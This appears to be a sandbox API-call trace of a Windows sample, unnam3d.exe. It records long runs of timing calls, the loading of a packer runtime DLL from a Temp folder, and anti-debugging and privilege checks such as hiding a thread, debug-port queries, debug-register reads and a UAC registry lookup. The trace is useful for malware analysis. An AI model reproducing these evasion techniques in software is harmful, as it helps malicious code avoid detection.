0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.134] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.135] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.136] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.137] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0023.138] GetTickCount () returned 0xa60022 [0031.948] GetTickCount () returned 0xa61a56 [0031.948] Sleep (dwMilliseconds=0x64) [0032.057] Sleep (dwMilliseconds=0x64) [0032.166] Sleep (dwMilliseconds=0x64) [0032.283] Sleep (dwMilliseconds=0x64) [0032.392] Sleep (dwMilliseconds=0x64) [0032.778] Sleep (dwMilliseconds=0x64) [0033.094] Sleep (dwMilliseconds=0x64) [0033.508] Sleep (dwMilliseconds=0x64) [0033.632] Sleep (dwMilliseconds=0x64) [0033.742] Sleep (dwMilliseconds=0x64) [0033.851] Sleep (dwMilliseconds=0x64) [0033.960] Sleep (dwMilliseconds=0x64) [0034.079] Sleep (dwMilliseconds=0x64) [0034.660] Sleep (dwMilliseconds=0x64) [0034.756] Sleep (dwMilliseconds=0x64) [0035.146] Sleep (dwMilliseconds=0x64) [0036.852] Sleep (dwMilliseconds=0x64) [0037.262] Sleep (dwMilliseconds=0x64) [0037.362] Sleep (dwMilliseconds=0x64) [0037.564] Sleep (dwMilliseconds=0x64) [0037.798] Sleep (dwMilliseconds=0x64) [0037.907] Sleep (dwMilliseconds=0x64) [0038.144] Sleep (dwMilliseconds=0x64) [0038.250] Sleep (dwMilliseconds=0x64) [0038.359] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x94c Thread: id = 8 os_tid = 0x8bc Thread: id = 9 os_tid = 0x944 Thread: id = 11 os_tid = 0xc4 [0037.414] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0037.560] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0037.754] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0037.821] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0037.908] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0038.101] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0038.145] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0038.188] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0038.248] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 [0038.297] SleepEx (dwMilliseconds=0x14, bAlertable=0) returned 0x0 Thread: id = 15 os_tid = 0x11c Process: id = "2" image_name = "unnam3d.exe" filename = "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe" page_root = "0x50aca000" os_pid = "0x948" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x15c" cmd_line = "\"C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE\" " cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0x248 [0038.147] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0038.444] GetCurrentProcess () returned 0xffffffff [0038.445] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x32e94c | out: TokenHandle=0x32e94c*=0x1f0) returned 1 [0038.620] CoTaskMemAlloc (cb=0x20c) returned 0x42ca30 [0038.620] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x42ca30 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\") returned 0x25 [0038.620] CoTaskMemFree (pv=0x42ca30) [0038.621] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x32e4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0038.624] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", nBufferLength=0x105, lpBuffer=0x32e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\", lpFilePart=0x0) returned 0x4a [0038.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32e890) returned 1 [0038.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e"), fInfoLevelId=0x0, lpFileInformation=0x32e90c | out: lpFileInformation=0x32e90c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2706a440, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x270905a0, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32e88c) returned 1 [0038.629] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", nBufferLength=0x105, lpBuffer=0x32e4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll", lpFilePart=0x0) returned 0x5b [0038.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x32e908) returned 1 [0038.629] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll"), fInfoLevelId=0x0, lpFileInformation=0x32e984 | out: lpFileInformation=0x32e984*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x270905a0, ftCreationTime.dwHighDateTime=0x1d4e94c, ftLastAccessTime.dwLowDateTime=0x270905a0, ftLastAccessTime.dwHighDateTime=0x1d4e94c, ftLastWriteTime.dwLowDateTime=0x27128b20, ftLastWriteTime.dwHighDateTime=0x1d4e94c, nFileSizeHigh=0x0, nFileSizeLow=0x218930)) returned 1 [0038.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x32e904) returned 1 [0038.635] LoadLibraryA (lpLibFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll") returned 0x71c00000 [0038.727] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76d60000 [0038.727] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x771a0000 [0038.727] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77de0000 [0038.727] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75c10000 [0038.736] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x77360000 [0038.761] GetProcAddress (hModule=0x769a0000, lpProcName="SetLastError") returned 0x769b11a9 [0038.765] GetCurrentThreadId () returned 0x248 [0038.765] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x248) returned 0x208 [0038.765] GetProcessHeap () returned 0x3d0000 [0038.765] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x208) returned 0x436a00 [0038.765] GetProcessHeap () returned 0x3d0000 [0038.765] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x10) returned 0x428700 [0038.765] GetProcessHeap () returned 0x3d0000 [0038.765] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x208) returned 0x436c10 [0038.765] GetProcessHeap () returned 0x3d0000 [0038.765] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x10) returned 0x428718 [0038.765] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x436c10 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0038.765] GetModuleFileNameW (in: hModule=0x71c00000, lpFilename=0x436a00, nSize=0x104 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\AgileDotNetRT.dll" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e\\agiledotnetrt.dll")) returned 0x5b [0038.765] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\88044b52-bb1c-4d13-820b-fd46b551698e" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\88044b52-bb1c-4d13-820b-fd46b551698e")) returned 1 [0038.766] GetUserDefaultUILanguage () returned 0x409 [0038.766] GetProcessHeap () returned 0x3d0000 [0038.766] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1000) returned 0x437258 [0038.766] GetProcessHeap () returned 0x3d0000 [0038.766] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x10) returned 0x428730 [0038.768] GetCommandLineA () returned="\"C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE\" " [0038.768] GetVersion () returned 0x1db10106 [0038.768] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x71da958a) returned 0x428748 [0038.768] RaiseException (dwExceptionCode=0xc000008e, dwExceptionFlags=0x0, nNumberOfArguments=0x0, lpArguments=0x0) [0038.770] RtlRemoveVectoredExceptionHandler () returned 0x1 [0038.771] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0038.771] GetCurrentProcess () returned 0xffffffff [0038.771] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x32e5b0 | out: pbDebuggerPresent=0x32e5b0) returned 1 [0038.772] GetCurrentThread () returned 0xfffffffe [0038.772] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x71dda656 | out: TokenHandle=0x71dda656*=0x0) returned 0 [0038.772] GetCurrentProcess () returned 0xffffffff [0038.772] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x71dda656 | out: TokenHandle=0x71dda656*=0x1c) returned 1 [0038.772] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x71c9f8a9 | out: TokenInformation=0x0, ReturnLength=0x71c9f8a9) returned 0 [0038.772] VirtualAlloc (lpAddress=0x0, dwSize=0x118, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.773] GetTokenInformation (in: TokenHandle=0x1c, TokenInformationClass=0x2, TokenInformation=0x380000, TokenInformationLength=0x118, ReturnLength=0x71c9f8a9 | out: TokenInformation=0x380000, ReturnLength=0x71c9f8a9) returned 1 [0038.773] CloseHandle (hObject=0x1c) returned 1 [0038.773] AllocateAndInitializeSid (in: pIdentifierAuthority=0x71c96d48, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x71c46164 | out: pSid=0x71c46164*=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x380064*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x7e))) returned 0 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38006c*(Revision=0x15, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x7e, [3]=0x8, [4]=0xe3, [5]=0xc2), SubAuthority=0x25aadb80)) returned 0 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x380074*(Revision=0x80, SubAuthorityCount=0xdb, IdentifierAuthority.Value=([0]=0xaa, [1]=0x25, [2]=0x57, [3]=0x84, [4]=0x5d, [5]=0xa5), SubAuthority=([0]=0x1, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x1, [5]=0x1, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x1, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x1, [17]=0x2, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x5, [24]=0x20, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x20, [29]=0x2, [30]=0x0, [31]=0x0, [32]=0x1, [33]=0x2, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x5, [40]=0x20, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x21, [45]=0x2, [46]=0x0, [47]=0x0, [48]=0x1, [49]=0x1, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x5, [56]=0x4, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x1, [61]=0x1, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x2, [68]=0x1, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x1, [73]=0x1, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x5, [80]=0xb, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x1, [85]=0x1, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x5, [92]=0xf, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x1, [97]=0x3, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x5, [104]=0x5, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0xb, [113]=0xe6, [114]=0x0, [115]=0x0, [116]=0x1, [117]=0x1, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x2, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x1, [129]=0x2, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x5, [136]=0x40, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0xa, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x1, [145]=0x1, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x10, [152]=0x0, [153]=0x30, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0))) returned 0 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38007c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x1, [3]=0x1, [4]=0x0, [5]=0x0), SubAuthority=([0]=0x0, [1]=0x0))) returned 0 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x380084*(Revision=0x0, SubAuthorityCount=0x0, IdentifierAuthority.Value=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0), SubAuthority=0x201)) returned 0 [0038.773] EqualSid (pSid1=0x428748*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x38008c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0038.773] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0038.774] GetProcAddress (hModule=0x75c10000, lpProcName="IsUserAnAdmin") returned 0x75c644f5 [0038.774] IsUserAnAdmin () returned 1 [0038.774] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x71d3a440 | out: phkResult=0x71d3a440*=0x210) returned 0x0 [0038.774] RegQueryValueExA (in: hKey=0x210, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x0, lpData=0x71cf62f3, lpcbData=0x71dcc469*=0x4 | out: lpType=0x0, lpData=0x71cf62f3*=0x1, lpcbData=0x71dcc469*=0x4) returned 0x0 [0038.774] RegCloseKey (hKey=0x210) returned 0x0 [0038.775] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x32e5a8, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x32e5a8, ReturnLength=0x0) returned 0x0 [0038.775] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x32e5a8, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x32e5a8, ReturnLength=0x0) returned 0xc0000353 [0038.775] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0038.775] GetCurrentThread () returned 0xfffffffe [0038.775] GetThreadContext (in: hThread=0xfffffffe, lpContext=0x380000 | out: lpContext=0x380000*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, 